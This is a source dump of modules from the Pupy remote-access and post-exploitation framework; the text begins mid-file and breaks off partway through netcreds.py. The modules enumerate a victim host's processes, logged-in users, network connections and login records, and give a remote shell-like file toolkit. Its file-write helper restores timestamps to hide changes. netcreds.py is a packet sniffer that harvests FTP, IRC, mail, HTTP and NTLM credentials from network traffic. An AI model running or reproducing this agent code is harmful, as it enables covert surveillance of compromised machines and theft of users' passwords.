    data = {}

    for pid in pids:
        try:
            process = psutil.Process(pid)
        except:
            continue

        info = {}
        for key, val in safe_as_dict(process, KNOWN_FIELDS).items():
            newv = None
            if type(val) == list:
                newv = []
                for item in val:
                    if _is_iterable(item):
                        newv.append({
                            k: v for k, v in _psiter(item)
                        })
                    else:
                        newv.append(item)

                if all(isinstance(x, basestring) for x in newv):
                    newv = ' '.join(newv)
            elif _is_iterable(val):
                newv = [{
                    'KEY': k,
                    'VALUE': v
                } for k, v in _psiter(val)]
            else:
                newv = val

            info.update({
                key: newv
            })

        data[pid] = info

    return psutil_str(data)


def pstree():
    data = {}
    tree = {}

    for p in psutil.process_iter():
        if not psutil.pid_exists(p.pid):
            continue

        props = safe_as_dict(p, [
            'name', 'username', 'cmdline', 'exe', 'status',
            'cpu_percent', 'memory_percent', 'connections',
            'terminal', 'pid'
        ])

        props = psutil_str(props)

        set_relations(props)

        if 'connections' in props:
            props['connections'] = bool(props['connections'])

        parent = None

        try:
            parent = p.parent()

        except (psutil.ZombieProcess):
            props['name'] = '< Z: ' + props['name'] + ' >'

        except (psutil.NoSuchProcess, psutil.AccessDenied):
            props['name'] = '< ?: ' + props['name'] + ' >'

        data[p.pid] = props

        ppid = parent.pid if parent else 0
        if ppid not in tree:
            tree[ppid] = [p.pid]
        else:
            tree[ppid].append(p.pid)

    # on systems supporting PID 0, PID 0's parent is usually 0
    if 0 in tree and 0 in tree[0]:
        tree[0].remove(0)

    return min(tree), tree, data


def users():
    info = {}
    terminals = {}

    if hasattr(SELF, 'terminal'):
        for p in psutil.process_iter():
            pinfo = safe_as_dict(p, [
                'terminal', 'pid', 'exe', 'name', 'cmdline'
            ])

            pinfo = psutil_str(pinfo)

            if pinfo.get('terminal'):
                terminals[
                    pinfo['terminal'].replace('/dev/', '')
                 ] = pinfo

    users = psutil.users()
    users = psutil_str(users)

    for term in users:
        terminfo = {
            psutil_str(k): v
            for k, v in _psiter(term) if v and k not in ('host', 'name')
        }

        if 'pid' in terminfo:
            try:
                pinfo = {
                    k: v for k, v in safe_as_dict(psutil.Process(
                        terminfo['pid']), [
                            'exe', 'cmdline', 'name'
                        ]).items()
                }

                pinfo = psutil_str(pinfo)

                terminfo.update(pinfo)
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                terminfo.update({
                    'pid': terminfo['pid'],
                    'dead': True,
                })

        if 'terminal' in terminfo:
            try:
                terminfo['idle'] = int(time.time()) - int(os.stat(
                    '/dev/{}'.format(terminfo['terminal'])
                ).st_atime)
            except:
                pass

            if terminfo['terminal'] in terminals:
                terminfo.update(terminals[terminfo['terminal']])

        host = term.host or '-'

        if term.name not in info:
            info[term.name] = {}

        if host not in info[term.name]:
            info[term.name][host] = []

        if term.name == USERNAME or USERNAME.endswith('\\'+term.name):
            terminfo['me'] = True

        info[term.name][host].append(terminfo)

    return info


def connections():
    connections = []

    net_connections = psutil.net_connections()
    net_connections = psutil_str(net_connections)

    for connection in net_connections:
        obj = {
            as_unicode_string(k): tuple(v) if hasattr(v, '_fields') else v
            for k, v in _psiter(connection)
        }

        try:
            if connection.pid:
                obj.update(
                    psutil.Process(connection.pid).as_dict({
                        'pid', 'exe', 'name', 'username'
                    })
                )
                set_relations(obj)
        except:
            pass

        connections.append(obj)

    return connections


def _tryint(x):
    try:
        return int(x)
    except:
        return psutil_str(str(x))


def interfaces():
    try:
        if_addrs = psutil.net_if_addrs()

        addrs = {
            x: [
                {
                    k: _tryint(v) for k, v in _psiter(z)
                } for z in y
            ] for x, y in _psiter(if_addrs)
        }
    except Exception:
        addrs = None

    try:
        if_stats = psutil.net_if_stats()

        stats = {
            x: {
                k: _tryint(v) for k, v in _psiter(y)
            } for x, y in _psiter(if_stats)
        }
    except Exception:
        stats = None

    return psutil_str({
        'addrs': addrs,
        'stats': stats
    })


def drives():
    partitions = []

    disk_partitions = psutil.disk_partitions()
    disk_partitions = psutil_str(disk_partitions)

    for partition in disk_partitions:
        record = {
            'device': partition.device,
            'mountpoint': partition.mountpoint,
            'fstype': partition.fstype,
            'opts': partition.opts
        }

        try:
            usage = psutil.disk_usage(partition.mountpoint)

            record.update({
                'total': usage.total,
                'used': usage.used,
                'free': usage.free,
                'percent': usage.percent
            })
        except:
            pass

        partitions.append(record)

    return partitions


def cstring(string):
    return string[:string.find('\x00')]


def convrecord(item):
    return item if type(item) in (int, long) else cstring(item)


def wtmp(input='/var/log/wtmp'):
    retval = []
    WTmp = struct.Struct('hi32s4s32s256shhiii4I20s')

    login_type = {
        0: None,
        1: 'runlevel',
        2: 'boot',
        3: 'time_new',
        4: 'time_old',
        5: 'init',
        6: 'session',
        7: 'process',
        8: 'terminated',
        9: 'accounting',
    }

    now = time.time()

    with open('/var/log/wtmp', 'rb') as wtmp:
        while True:
            data = wtmp.read(WTmp.size)
            if not data or len(data) != WTmp.size:
                break

            items = [
                convrecord(x) for x in WTmp.unpack(data)
            ]

            itype = login_type[items[0]]
            if not itype:
                continue

            if itype in ('runlevel', 'terminated'):
                for record in retval:
                    if record['end'] == -1:
                        if itype == 'runlevel' and items[4] == 'shutdown':
                            record['end'] = items[9]
                            record['duration'] = record['end'] - record['start']
                        elif itype == 'terminated':
                            if items[1] == 0:
                                if record['line'] == items[2]:
                                    record['end'] = items[9]
                                    record['duration'] = record['end'] - record['start']
                                    break
                            else:
                                if record['type'] in ('session', 'process') and record['pid'] == items[1]:
                                    record['end'] = items[9]
                                    record['duration'] = record['end'] - record['start']
                                    record['termination'] = items[6]
                                    record['exit'] = items[7]
                                    break

                    if record['type'] == 'runlevel' and record['user'] == 'shutdown':
                        break

            ipbin = items[11:15]
            if all([x==0 for x in ipbin[1:]]):
                ipaddr = str(netaddr.IPAddress(socket.htonl(ipbin[0])))
            else:
                data = struct.pack('IIII', *ipbin).encode('hex')
                ipaddr = ''
                while data != '':
                    ipaddr = ipaddr + ':'
                    ipaddr = ipaddr + data[:4]
                    data = data[4:]
                ipaddr = str(netaddr.IPAddress(ipaddr[1:]))

            retval.insert(0, {
                'type': itype,
                'pid': items[1],
                'line': items[2],
                'id': items[3],
                'user': items[4],
                'host': items[5],
                'termination': items[6],
                'exit': items[7],
                'session': items[8],
                'start': items[9],
                'ip': ipaddr,
                'end': -1,
                'duration': now - items[9]
            })

    return psutil_str({
        'now': now,
        'records': retval
    })


def lastlog(log='/var/log/lastlog'):
    import pwd

    result = {}
    LastLog = struct.Struct('I32s256s')

    with open(log, 'rb') as lastlog:
        uid = 0
        while True:
            data = lastlog.read(LastLog.size)
            if not data or len(data) != LastLog.size:
                break

            time, line, host = LastLog.unpack(data)
            line = cstring(line)
            host = cstring(host)
            if time:
                try:
                    name = pwd.getpwuid(uid).pw_name
                except:
                    name = uid

                result[name] = {
                    'time': time,
                    'line': line,
                    'host': host,
                }
            uid += 1

    return psutil_str(result)


def get_win_services():
    return [
        psutil_str(service.as_dict()) for service in psutil.win_service_iter()
    ]


if __name__ == '__main__':
    import datetime
    for result in wtmp():
        if result['type'] in ('process', 'boot'):
            print('{:12s} {:5d} {:7} {:8s} {:8s} {:16s} {:3} {:3} {} - {}'.format(
                result['type'],
                result['pid'],
                result['id'],
                result['user'], result['line'], result['host'],
                result['termination'], result['exit'],
                datetime.datetime.fromtimestamp(result['start']),
                datetime.datetime.fromtimestamp(result['end']) if result['end'] != -1 else 'logged in',
            ))


================================================
FILE: pupy/packages/all/pupyutils/__init__.py
================================================


================================================
FILE: pupy/packages/all/pupyutils/basic_cmds.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import sys
import glob
import shutil
import getpass
import stat
import datetime
import re
import codecs
import errno

from zipfile import ZipFile, is_zipfile
from tarfile import is_tarfile
from tarfile import open as open_tarfile

from gzip import GzipFile

from scandir import scandir

if scandir is None:
    from scandir import scandir_generic as scandir

from pupy.network.lib.convcompat import (
    as_native_string, as_unicode_string,
    fix_exception_encoding, try_as_unicode_string,
    DEFAULT_MB_ENCODING
)


if sys.version_info.major > 2:
    xrange = range
    getcwd = os.getcwd

else:
    getcwd = os.getcwdu


PREV_CWD = None

# -------------------------- For ls functions --------------------------

T_NAME      = 0
T_TYPE      = 1
T_SPEC      = 2
T_MODE      = 3
T_UID       = 4
T_GID       = 5
T_SIZE      = 6
T_TIMESTAMP = 7
T_PATH      = 8
T_FILES     = 9
T_FILE      = 10
T_TRUNCATED = 11
T_ZIPFILE   = 12
T_TARFILE   = 13
T_HAS_XATTR = 14


from fsutils import (
    readlink, lstat, has_xattrs, uidgid
)


def file_timestamp(entry):
    try:
        d = datetime.fromtimestamp(entry.stat().st_mtime)
        return str(d.strftime("%d/%m/%y"))
    except:
        return '00/00/00'


class FakeStat(object):
    st_mode = 0b100000
    st_uid = -1
    st_gid = -1
    st_size = -1
    st_mtime = 0


def safe_stat(path):
    path = as_unicode_string(path)
    try:
        return lstat(path)
    except:
        pass

    try:
        return os.stat(path)
    except:
        pass

    return FakeStat()


def safe_listdir(path):
    path = as_unicode_string(path)
    try:
        return os.listdir(path)
    except:
        return []


def mode_to_letter(mode):
    if stat.S_ISDIR(mode):
        return 'D'
    elif stat.S_ISLNK(mode):
        return 'L'
    elif stat.S_ISBLK(mode):
        return 'B'
    elif stat.S_ISCHR(mode):
        return 'C'
    elif stat.S_ISFIFO(mode):
        return 'F'
    elif stat.S_ISSOCK(mode):
        return 'S'
    else:
        return ''


def special_to_letter(mode):
    letter = ''

    ALL_R = (stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH)
    ALL_W = (stat.S_IWUSR | stat.S_IWGRP | stat.S_IWOTH)

    if mode & stat.S_ISGID:
        letter += 'G'
    if mode & stat.S_ISUID:
        letter += 'U'
    if mode & stat.S_ISVTX:
        letter += 'T'
    if mode & (stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH):
        letter += 'E'
    if (mode & ALL_R) == ALL_R:
        letter += 'R'
    if (mode & ALL_W) == ALL_W:
        letter += 'W'

    return letter


def _stat_to_ls_struct(path, name, _stat, resolve_uidgid=False):
    if stat.S_ISLNK(_stat.st_mode):
        try:
            name += ' -> '+readlink(path)
        except:
            pass

    try:
        f_xattrs = has_xattrs(path)
    except (OSError, IOError):
        f_xattrs = False

    if resolve_uidgid:
        uid, gid = uidgid(path, _stat)
    else:
        uid, gid = _stat.st_uid, _stat.st_gid

    return {
        T_NAME: name,
        T_TYPE: mode_to_letter(_stat.st_mode),
        T_SPEC: special_to_letter(_stat.st_mode),
        T_MODE: _stat.st_mode,
        T_UID:  uid,
        T_GID:  gid,
        T_SIZE: _stat.st_size,
        T_TIMESTAMP: int(_stat.st_mtime),
        T_HAS_XATTR: bool(f_xattrs)
    }


def _invalid_ls_struct(path, name):
    return {
        T_NAME: name,
        T_TYPE: '?',
        T_SPEC: '?',
        T_MODE: 0,
        T_UID:  0,
        T_GID:  0,
        T_SIZE: 0,
        T_TIMESTAMP: 0,
        T_HAS_XATTR: False,
    }


def list_file(path, resolve_uidgid=False):
    path = as_unicode_string(path)

    if path.endswith(os.path.sep):
        name = os.path.dirname(
            os.path.basename(path)
        )
    else:
        name = os.path.basename(path)

    _stat = safe_stat(path)
    return _stat_to_ls_struct(path, name, _stat, resolve_uidgid)


def list_tar(path, max_files=None):
    result = []
    for idx, item in enumerate(open_tarfile(path, 'r:*')):
        if idx >= max_files:
            result.append({
                T_TRUNCATED: 0,
                T_TYPE: 'X',
            })

            break

        name = item.name

        letter = ''
        if item.islnk():
            name = name + ' => ' + item.linkname
            letter = 'L'
        elif item.issym():
            name = name + ' -> ' + item.linkname
            letter = 'L'
        elif item.isdir():
            letter = 'D'
        elif item.isfifo():
            letter = 'F'
        elif item.isblk():
            letter = 'B'
        elif item.ischr():
            letter = 'C'

        result.append({
            T_NAME: name,
            T_TYPE: letter,
            T_MODE: item.mode,
            T_SPEC: special_to_letter(item.mode),
            T_UID: item.uid,
            T_GID: item.gid,
            T_SIZE: item.size,
            T_TIMESTAMP: item.mtime,
            T_HAS_XATTR: False,
        })

    return result


def list_zip(path, max_files=None):
    result = []

    zts = datetime.datetime.fromtimestamp(0)

    for idx, item in enumerate(ZipFile(path).infolist()):
        if idx >= max_files:
            result.append({
                T_TRUNCATED: 0,
                T_TYPE: 'X',
            })

            break

        result.append({
            T_NAME: item.filename,
            T_TYPE: '', # TODO - support flags
            T_SPEC: '', # TODO - support flags
            T_MODE: 0o666,
            T_UID: 0,
            T_GID: 0,
            T_SIZE: item.file_size,
            T_TIMESTAMP: (
                datetime.datetime(*item.date_time) - zts
            ).total_seconds(),
            T_HAS_XATTR: False,
        })

    return result


def list_dir(path, max_files=None, resolve_uidgid=False):
    path = as_unicode_string(path)

    result = []

    filescnt = 0
    truncated = None

    items = scandir(path)

    try:
        for item in items:
            try:
                result.append(_stat_to_ls_struct(
                    item.path, item.name,
                    item.stat(follow_symlinks=False),
                    resolve_uidgid=resolve_uidgid))
            except OSError:
                result.append(_invalid_ls_struct(item.path, item.name))

            filescnt += 1
            if max_files and filescnt >= max_files:
                truncated = 0
                break

    except StopIteration:
        pass

    if truncated is not None:
        try:
            for item in items:
                truncated += 1

        except StopIteration:
            pass

        if truncated:
            result.append({
                T_TRUNCATED: truncated,
                T_TYPE: 'X',
            })

    return result


def _complete(cwd, path, limit=32, dirs=None):
    if path:
        path = as_unicode_string(path)
        path = os.path.expanduser(path)
        path = os.path.expandvars(path)
    else:
        path = cwd + '/'

    results = []
    part = ''

    path = path.replace('\\', '/').replace('//', '/')
    if path.endswith('/') and os.path.isdir(path):
        pass

    elif os.path.exists(path):
        return path, ['']

    else:
        part = os.path.basename(path)
        path = os.path.dirname(path)
        if not path:
            path = cwd
        elif not os.path.isdir(path):
            return '', []

    for item in scandir(path):
        if item.name.startswith(part):
            if dirs is None or \
                (dirs is True and item.is_dir()) or \
                (dirs is False and not item.is_dir()):
                results.append(item.name)
        if len(results) > limit:
            break

    return path, results


def complete(path, limit=32, dirs=None):
    cwd = getcwd()
    path, results = _complete(cwd, path, limit, dirs)

    if path.endswith(('/', '\\')):
        path = path[:-1]

    if path and cwd not in ('/', '\\'):
        try:
            relpath = os.path.relpath(path, start=cwd)
        except ValueError:
            relpath = os.path.relpath(path, start='/')
        if not relpath.startswith('..'):
            path = relpath

    if path.startswith(('./', '.\\')):
        path = path[2:]
    elif path == '.':
        path = None

    return path, results


def safe_is_zipfile(filepath):
    try:
        return is_zipfile(filepath)
    except (OSError, IOError):
        return False


def safe_is_tarfile(filepath):
    try:
        return is_tarfile(filepath)
    except (OSError, IOError):
        return False


def env(*args):
    if args:
        if len(args) == 1:
            key = as_native_string(args[0])
            return as_unicode_string(os.environ.get(key))

        key, value = args

        key = as_native_string(key)
        if value is None:
            del os.environ[key]
            return

        os.environ[key] = as_native_string(value)
        return

    values = []

    for key, value in os.environ.items():
        values.append((
            as_unicode_string(key),
            as_unicode_string(value)
        ))

    return tuple(values)


def ls(
    path=None, listdir=True, limit=4096,
        list_arc=False, resolve_uidgid=False):

    if path:
        path = as_unicode_string(path)
        path = os.path.expanduser(path)
        path = os.path.expandvars(path)
    else:
        path = getcwd()

    results = []
    found = False

    for path in glob.iglob(path):
        if not os.path.exists(path):
            raise IOError('The path does not exist')

        found = True

        if os.path.isdir(path):
            try:
                if listdir:
                    results.append({
                        T_PATH: path,
                        T_FILES: list_dir(
                            path, max_files=limit,
                            resolve_uidgid=resolve_uidgid)
                    })
                else:
                    results.append({
                        T_PATH: path,
                        T_FILE: list_file(path, resolve_uidgid)
                    })
            except Exception as e:
                fix_exception_encoding(e)
                raise

        elif os.path.isfile(path):
            if safe_is_zipfile(path):
                if list_arc:
                    results.append({
                        T_ZIPFILE: path,
                        T_FILES: list_zip(path, max_files=limit)
                    })
                else:
                    results.append({
                        T_ZIPFILE: path,
                        T_FILE: list_file(path)
                    })
            elif safe_is_tarfile(path):
                if list_arc:
                    results.append({
                        T_TARFILE: path,
                        T_FILES: list_tar(path, max_files=limit)
                    })
                else:
                    results.append({
                        T_TARFILE: path,
                        T_FILE: list_file(path)
                    })
            else:
                results.append({
                    T_PATH: path,
                    T_FILE: list_file(path, resolve_uidgid)
                })
        else:
            results.append({
                T_PATH: path,
                T_FILE: list_file(path, resolve_uidgid)
            })

    if not found:
        raise ValueError('The file/path does not exist')

    return results

# -------------------------- For cd function --------------------------


def cd(path=None):
    global PREV_CWD

    cwd = getcwd()

    if path:
        path = as_unicode_string(path)
        path = os.path.expanduser(path)
        path = os.path.expandvars(path)
    else:
        path = os.path.expanduser("~")
        path = as_unicode_string(path)

    try:
        os.chdir(path)
        PREV_CWD = cwd
    except OSError as exc:
        if path == '-' and PREV_CWD is not None:
            os.chdir(PREV_CWD)
            PREV_CWD = cwd
        else:
            fix_exception_encoding(exc)
            raise

# -------------------------- For mkdir function --------------------------


def mkdir(directory):
    directory = as_unicode_string(directory)

    directory = os.path.expanduser(directory)
    directory = os.path.expandvars(directory)

    try:
        os.makedirs(directory)
    except OSError as exc:
        fix_exception_encoding(exc)
        raise

# -------------------------- For cp function --------------------------


def cp(src, dst):
    dst = as_unicode_string(dst)
    dst = os.path.expanduser(dst)
    dst = os.path.expandvars(dst)

    found = False

    src = as_unicode_string(src)
    src = os.path.expanduser(src)
    src = os.path.expandvars(src)

    for src in glob.iglob(src):
        if os.path.exists(src):
            found = True

            if os.path.isdir(dst):
                real_dst = os.path.join(dst, os.path.basename(src))
            else:
                real_dst = dst

            if os.path.exists(real_dst):
                raise ValueError('{} already exists'.format(real_dst))

            try:
                if os.path.isdir(src):
                    shutil.copytree(src, real_dst)
                else:
                    shutil.copyfile(src, real_dst)
            except Exception as e:
                fix_exception_encoding(e)
                raise
        else:
            raise ValueError('The file {} does not exist'.format(src))

    if not found:
        raise ValueError('The file {} does not exist'.format(src))


# -------------------------- For mv function --------------------------


def mv(src, dst):
    dst = as_unicode_string(dst)
    dst = os.path.expanduser(dst)
    dst = os.path.expandvars(dst)

    found = False

    src = as_unicode_string(src)
    src = os.path.expanduser(src)
    src = os.path.expandvars(src)

    for src in glob.iglob(src):
        if os.path.exists(src):
            found = True

            if os.path.isdir(dst):
                real_dst = os.path.join(dst, os.path.basename(src))
            else:
                real_dst = dst

            if os.path.exists(real_dst):
                raise ValueError('File/directory already exists')

            try:
                shutil.move(src, real_dst)
            except Exception as e:
                fix_exception_encoding(e)
                raise

    if not found:
        raise ValueError('The file/directory does not exist')


# -------------------------- For mv function --------------------------


def rm(path):
    path = as_unicode_string(path)
    path = os.path.expanduser(path)
    path = os.path.expandvars(path)

    files = 0
    exception = None

    for path in glob.iglob(path):
        if os.path.exists(path):
            files += 1
            if os.path.isdir(path):
                shutil.rmtree(path, ignore_errors=True)
            else:
                try:
                    os.remove(path)
                except OSError as e:
                    exception = e
        else:
            raise ValueError("File/directory does not exists")

    if not files:
        raise ValueError("File/directory does not exists")

    if files == 1 and exception:
        fix_exception_encoding(exception)
        raise

# -------------------------- For cat function --------------------------


def _cat(data, dups, fin, N, n, grep, encoding=None, filter_out=False):
    bom = fin.read(2)
    need_newline = True

    decoded = True

    if bom == codecs.BOM_UTF16_LE:
        fin = codecs.getreader('utf-16-le')(fin)
    elif bom == codecs.BOM_UTF16_BE:
        fin = codecs.getreader('utf-16-be')(fin)
    elif bom == codecs.BOM_UTF32_LE:
        fin = codecs.getreader('utf-32-le')(fin)
    elif bom == codecs.BOM_UTF32_BE:
        fin = codecs.getreader('utf-32-be')(fin)
    elif bom == b'\x1f\x8b':
        if N:
            raise ValueError('Tail is not supported for GZip files')
        fin.seek(0)
        fin = GzipFile(mode='r', fileobj=fin)
    elif encoding is not None:
        fin = codecs.getreader(encoding)(fin)
        fin.seek(0)
        need_newline = False
    else:
        need_newline = False
        decoded = False
        fin.seek(0)

    if need_newline:
        fin.readline()

    if decoded:
        newline = '\n'
        record_dm = '\t'
        truncate = '[FILE TRUNCATED, USE DOWNLOAD]'

        if grep:
            grep = re.compile(as_unicode_string(grep))

    else:
        newline = b'\n'
        record_dm = b'\t'
        truncate = b''

        if grep:
            if isinstance(grep, bytes):
                pass
            else:
                grep = grep.encode(DEFAULT_MB_ENCODING)

            grep = re.compile(grep)

    if N:
        data.extend(
            tail(fin, N, grep, filter_out, decoded)
        )

    elif grep or n:
        for line in fin:
            line = line.rstrip(newline)
            matches = None
            if grep:
                matches = grep.search(line)
            if not grep or (not filter_out and matches) or \
                    (filter_out and not matches):
                if matches:
                    groups = matches.groups()
                    if groups:
                        record = record_dm.join(groups)
                        if record not in dups:
                            data.append(record)
                            dups.add(record)
                    else:
                        data.append(line)
                else:
                    data.append(line)

            if n and len(data) >= n:
                break
    else:
        block_size = 4*8192
        block = fin.read(block_size)

        if len(block) == block_size:
            block += truncate

        try:
            block = try_as_unicode_string(block)
        except UnicodeError:
            pass

        data.append(block)


def cat(path, N, n, grep, encoding=None, filter_out=False):
    path = as_unicode_string(path)
    path = os.path.expanduser(path)
    path = os.path.expandvars(path)

    found = False

    data = []
    dups = set()

    for path in glob.iglob(path):
        if not os.path.exists(path):
            continue

        found = True
        if not os.path.isfile(path):
            raise ValueError('Not a file')

        with open(path, 'rb') as fin:
            try:
                _cat(data, dups, fin, N, n, grep, encoding, filter_out)
            except Exception as e:
                fix_exception_encoding(e)
                raise

    if not found:
        raise ValueError('File does not exists')

    return tuple(data)


def tail(f, n, grep, filter_out=False, decoded=True):
    if n <= 0:
        raise ValueError('Invalid amount of lines: {}'.format(n))

    BUFSIZ = 4096

    if decoded:
        newline = '\n'
        record_dm = '\t'
        data = ''
    else:
        newline = b'\n'
        record_dm = b'\t'
        data = b''

    f.seek(0, os.SEEK_END)

    fsize = f.tell()
    block = -1
    exit = False

    retval = []
    dups = set()

    while not exit:
        step = (block * BUFSIZ)

        if abs(step) >= fsize:
            f.seek(0)
            newdata = f.read(BUFSIZ - (abs(step) - fsize))
            exit = True
        else:
            f.seek(step, os.SEEK_END)
            newdata = f.read(BUFSIZ)

        data = newdata + data

        if (len(retval) + data.count(newline) >= n) or exit:
            if grep:
                lines = data.splitlines()
                llines = len(lines)
                to_process = llines if exit else lines - 1
                for idx in xrange(to_process):
                    line = lines[llines-idx-1]

                    matches = grep.search(line)

                    if (not filter_out and matches) or \
                       (filter_out and not matches):
                        if matches:
                            groups = matches.groups()
                            if groups:
                                record = record_dm.join(groups)
                                if record not in dups:
                                    retval.insert(0, record)
                                    dups.add(record)
                            else:
                                retval.insert(0, line)
                        else:
                            retval.insert(0, line)

                    if len(retval) >= n:
                        break

                if len(retval) >= n:
                    break
                else:
                    data = lines[0]
                    block -= 1
            else:
                break
        else:
            block -= 1

    if len(retval) < n and not grep:
        n -= len(retval)
        retval.append(
            data.splitlines()[-n:]
        )

    return retval

# ------------------------------- For edit  -------------------------------


def fgetcontent(path, max_size=1*1024*1024):
    path = as_unicode_string(path)
    path = os.path.expanduser(path)
    path = os.path.expandvars(path)

    with open(path, 'rb') as f:
        content = f.read(max_size)
        if f.read(1):
            raise ValueError('File is too big')

        return content


def fputcontent(path, content, append=False):
    path = as_unicode_string(path)
    path = os.path.expanduser(path)
    path = os.path.expandvars(path)

    if not isinstance(content, bytes):
        content = content.encode(DEFAULT_MB_ENCODING)

    ftime = None

    try:
        s = os.stat(path)
        ftime = (s.st_atime, s.st_mtime)
    except OSError as e:
        if e.errno == errno.EEXIST and not append:
            pass

    with open(path, 'ab' if append else 'wb') as f:
        if content:
            f.write(content)

    if ftime:
        os.utime(path, ftime)

# ----------------------------- For datetime  -----------------------------


def now():
    return as_unicode_string(str(datetime.datetime.now()))

# -------------------------- For getuid function --------------------------


def getuid():
    return as_unicode_string(getpass.getuser())

# --------------------------------- For RFS -------------------------------


def dlstat(path):
    path = as_unicode_string(path)

    try:
        pstat = os.stat(path)
    except OSError as e:
        fix_exception_encoding(e)
        raise

    return {
        k: getattr(pstat, k) for k in dir(pstat) if not k.startswith('__')
    }


def dstatvfs(path):
    path = as_unicode_string(path)
    try:
        pstat = os.statvfs(path)
    except OSError as e:
        fix_exception_encoding(e)
        raise

    return {
        k: getattr(pstat, k) for k in dir(pstat) if not k.startswith('__')
    }


================================================
FILE: pupy/packages/all/pupyutils/dns.py
================================================
#!/user/bin/env python
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import socket

def getIP(domain):
    """
    This method returns the first IP address string
    that responds as the given domain name
    """
    try:
        return socket.gethostbyname(domain)
    except Exception:
        return False

def getIPx(domain):
    """
    This method returns an array containing
    one or more IP address strings that respond
    as the given domain name
    """
    try:
        return list(set(socket.gethostbyname_ex(domain)[2]))
    except Exception:
        return False
#
def getHost(ip):
    """
    This method returns the 'True Host' name for a
    given IP address
    """
    try:
        return socket.gethostbyaddr(ip)[0]
    except Exception:
        return False
#
def getAlias(domain):
    """
    This method returns an array containing
    a list of aliases for the given domain
    """
    try:
        data = socket.gethostbyname_ex(domain)
        return list(data[1])
    except Exception:
        return False

def launch_dns_ip_resolver(ip_or_domain):
    functions = {
        'IP': {'function': getIP, 'result': ''},
        'IPx': {'function': getIPx, 'result': ''},
        'Host': {'function': getHost, 'result': ''},
        'Alias': {'function': getAlias, 'result': ''}
    }

    return {
        k:v['function'](ip_or_domain) for k,v in functions.items()
    }

def launch_reverse_ip_resolver(ip):
    return getHost(ip)


================================================
FILE: pupy/packages/all/pupyutils/netcreds.py
================================================
# -*- coding: utf-8 -*-
# #!/usr/bin/env python2
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import platform
windows = platform.system() == "Windows"
linux   = platform.system() == "Linux"

from scapy.all import (
    IPv6, Raw, IP, UDP, TCP, Ether,
    SNMP, conf, sniff, pcapname
)

conf.verb = 0

from sys import exit
import binascii
import struct
import base64
from urllib import unquote
from collections import OrderedDict

import copy
import re

import pupy.agent

# Unintentional code contributors:
#     Laurent Gaffie
#     psychomario

pkt_frag_loads = OrderedDict()
challenge_acks = OrderedDict()
mail_auths = OrderedDict()
telnet_stream = OrderedDict()

# Regexs
authenticate_re = '(www-|proxy-)?authenticate'
authorization_re = '(www-|proxy-)?authorization'
ftp_user_re = r'USER (.+)\r\n'
ftp_pw_re = r'PASS (.+)\r\n'
irc_user_re = r'NICK (.+?)((\r)?\n|\s)'
irc_pw_re = r'NS IDENTIFY (.+)'
irc_pw_re2 = 'nickserv :identify (.+)'
mail_auth_re = r'(\d+ )?(auth|authenticate) (login|plain)'
mail_auth_re1 = r'(\d+ )?login '
NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+'
NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+'
# Prone to false+ but prefer that to false-
http_search_re = r'((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))'

#Console colors
W = '\033[0m'  # white (normal)
T = '\033[93m'  # tan

############## Stat / Stop / Dump functions ##############

def netcreds_start(interface=None, filterip=None, listWinInterfaces=False):
    if pupy.agent.manager.active(Netcreds):
        return False

    try:
        pupy.agent.manager.create(
            Netcreds, interface=interface, filterip=filterip
        )
    except:
        return False

    return True

def netcreds_dump():
    nc = pupy.agent.manager.get(Netcreds)
    if nc:
        return nc.results

def netcreds_stop():
    nc = pupy.agent.manager.get(Netcreds)
    if nc:
        pupy.agent.manager.stop(Netcreds)
        return nc.results

############## Main class ##############

class Netcreds(pupy.Task):
    def __init__(self, interface=None, filterip=None, *args, **kwargs):
        super(Netcreds, self).__init__(*args, **kwargs)
        self.interface = interface
        self.filterip = filterip

    def task(self):
        # Find the active interface
        if self.interface:
            if windows:
                conf.iface = pcapname(self.interface)
            else:
                conf.iface = self.interface

        # else:
            # # An interface has to be specify for windows hosts (list_interfaces_windows could be used to list it)
            # exit('[-] Please specify an interface')

        sniff(
            iface=conf.iface,
            prn=self.pkt_parser,
            store=0,
            filter='not host {}'.format(self.filterip) if self.filterip else None,
            stop_filter=lambda p: not self.active
        )

    def list_interfaces_windows(self):
        try:
            import dnet
        except:
            print('[-] dnet needs to be installed in order to list interfaces')
            return

        interfaces = dnet.intf()
        print('[*] Found interfaces :')
        for interface in interfaces:
            print("    %s : hw=%s ip=%s" % (interface["name"], interface.get("addr", None), interface.get("link_addr", None)))

    def iface_finder(self):
        try:
            import netifaces
            return netifaces.gateways()['default'].values()[0][1]
        except:
            exit('[-] Could not find an internet active interface; please specify one with -i <interface>')

    def frag_remover(self, ack, load):
        '''
        Keep the FILO OrderedDict of frag loads from getting too large
        3 points of limit:
            Number of ip_ports < 50
            Number of acks per ip:port < 25
            Number of chars in load < 5000
        '''
        global pkt_frag_loads

        # Keep the number of IP:port mappings below 50
        # last=False pops the oldest item rather than the latest
        while len(pkt_frag_loads) > 50:
            pkt_frag_loads.popitem(last=False)

        # Loop through a deep copy dict but modify the original dict
        copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
        for ip_port in copy_pkt_frag_loads:
            if len(copy_pkt_frag_loads[ip_port]) > 0:
                # Keep 25 ack:load's per ip:port
                while len(copy_pkt_frag_loads[ip_port]) > 25:
                    pkt_frag_loads[ip_port].popitem(last=False)

        # Recopy the new dict to prevent KeyErrors for modifying dict in loop
        copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
        for ip_port in copy_pkt_frag_loads:
            # Keep the load less than 75,000 chars
            for ack in copy_pkt_frag_loads[ip_port]:
                # If load > 5000 chars, just keep the last 200 chars
                if len(copy_pkt_frag_loads[ip_port][ack]) > 5000:
                    pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:]

    def frag_joiner(self, ack, src_ip_port, load):
        '''
        Keep a store of previous fragments in an OrderedDict named pkt_frag_loads
        '''
        for ip_port in pkt_frag_loads:
